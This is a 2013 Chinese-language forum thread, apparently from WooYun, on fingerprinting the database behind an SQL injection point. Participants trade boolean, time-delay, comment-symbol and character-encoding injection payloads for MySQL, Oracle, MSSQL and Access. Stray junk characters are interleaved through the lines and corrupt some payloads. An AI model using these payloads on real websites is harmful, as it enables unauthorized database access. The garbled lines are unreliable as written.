一个注射点如何最快速确认是什么类型数据库3 W* [# F, P) g- F
xsser (十根阳具有长短!!) | 2013-02-05 12:36% O y; t& ^" q# [ [% D, t @
假设这么一个注射点:3 c3 i {+ u" b1 e2 K
show.html?id=2
7 F& m% H; r) W. Tmysql:id=2 and version()>0! k. l( U+ L% x6 d- I" @% ^
oracle:id=2 and '1'||'1'='11
p0 s1 l2 {% D其他的欢迎补充
# ? i- }; S! [7 m0 i2 I1#
6 ]7 A: A1 P& X/ }8 O* t. ?upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47) Z) x' i( i3 [% o; W9 `
Access:
7 V& x+ i- A- y8 baNd aSc(cHr(97))=97) P; W1 A+ g4 Z6 r
and exists(select id from MSysAccessObjects)
1 T& U7 P1 X! Q! s! t: T3 [0 L) ZSQL Server:
) @! ^+ o% }& ~/ \9 {and exists(select id from sysobjects) s- T. _9 `2 d
and length(user)>0 E$ t% d- I/ [3 o R! V8 D
MySQL:1 N' E' {# O: I5 I! l
and length(user())>0/ p) Z* @5 {" r, e
2#
, x* P7 L4 L% F7 r& }! ]xsser (十根阳具有长短!!) | 2013-02-05 12:48
$ y$ i4 [5 j+ ~2 R@upload 如果这些都不是呢…1 a4 ?$ q6 n2 ], a$ b z% p4 t6 R
3#
. g, K/ d$ F, C) A! l2 zupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:035 E3 m' y+ q5 v+ j0 V7 L/ w, z H
@xsser 不快速的,延时注入
) }5 c% ^- J2 u9 S$ q' y4 I不知道这样写对不对9 P/ t- F0 L; V- i& S* l
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
) K& p& S' a' y# Y! S" Kmysql:id=2 and select benchmark(1e8,current_date());
$ { u8 e5 K p4#6 o ^: }1 `: M! Y$ Y* S- }! M
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
) Y0 g1 T" r7 k最快的貌似是看报错信息# U/ x" K6 q' ^# x" J
oracle error" d4 \5 B9 R- b: |; n# e. n
mssql error
2 i8 d, O9 [* H3 S; y, hmysql error
9 d ]9 ^$ l# {" p1 j5#' L' K2 k+ [/ i; H
Nimda (你们都是坏银~) | 2013-02-05 13:14
! }8 b: _& o* A( l小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)& A; j# A. W$ S# F. p. O% B$ q% K
6#9 `0 _ J# L. c; t" G7 @
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21; t8 i* {- X: B/ @/ f# y
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
' M* i5 I( ^$ l$ ^& [& g“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
* k7 _, `& M0 g! ^$ M1 b“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
' @+ }4 x9 \+ M7 @0 @- ]2 F7#
2 s6 M1 x9 w. Q* p& h_Evil (HackEnd) | 2013-02-05 13:33
3 `% n! H& _! p/ V3 oPostgreSQL
0 B" _- n7 r9 F d5 {8#
+ F+ v% G! G7 a+ z+ eupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:420 q" g) N& X( Y# Q, H
切换编码 and 1=14 U: p4 j6 V+ K, h7 N- |. Y
oracle:
5 k! T+ u& L+ L7 q9 C- [CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)( p5 B$ ~/ ?' q2 M
mssql:
7 a6 K# m; f7 {$ |; G9 X, OCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
! Q4 z7 y) I" H) V8 Emysql:
) u- o8 ?/ R) }/ Z$ o3 {2 W2 ]( ECHAR(97, 110, 100, 32, 49, 61, 49)
3 r6 i- R+ b4 ~2 D, J S9#5 I5 X: R! {( B" a( W" A% I
xsser (十根阳具有长短!!) | 2013-02-05 14:31
5 u1 L/ i" m7 G! R; R+ `/ g* e7 S@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
( _, T1 ]+ k$ x9 @7 x. h# h4 L( W5 E10#, R; I: s6 Q( Z! w
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46; y9 `7 F+ T, y, D4 [2 _
@xsser 是奇葩数据库类型的么?; P) U( P1 u2 M5 G
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
9 ~. \ _$ M0 _$ \! }1.是否可以使用特定的函数来判断,该数据库特有的
4 b' k, @0 w' G+ y5 ~+ ]* Y2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等+ |% c; _5 m9 x8 z6 G
3.是否可以编码查询
% P9 J! q) s' i. t1 B9 w4.是否显可以利用错信息, R1 } E9 D! [& h2 a& |
5.是否存在数据库某些特性辅助判断
6 i% ^" ?7 B4 k& X R; f- z个人见解
- b6 i8 B; }3 T8 l9 V- X% q: J11#1 r' S" C. R; k
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55, @) I, X9 w0 Z2 u4 n
已收藏,mssql可以直接看到错误提示的吧~
, F7 Y8 c% E! `2 _+ M12#
/ M; c0 P) y! x$ u8 yPasser_by | 2013-02-05 15:092 G2 _/ L) \0 h/ T2 {
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
" R: f6 T } t# W4 R7 ufrom:http://zone.wooyun.org/content/260 |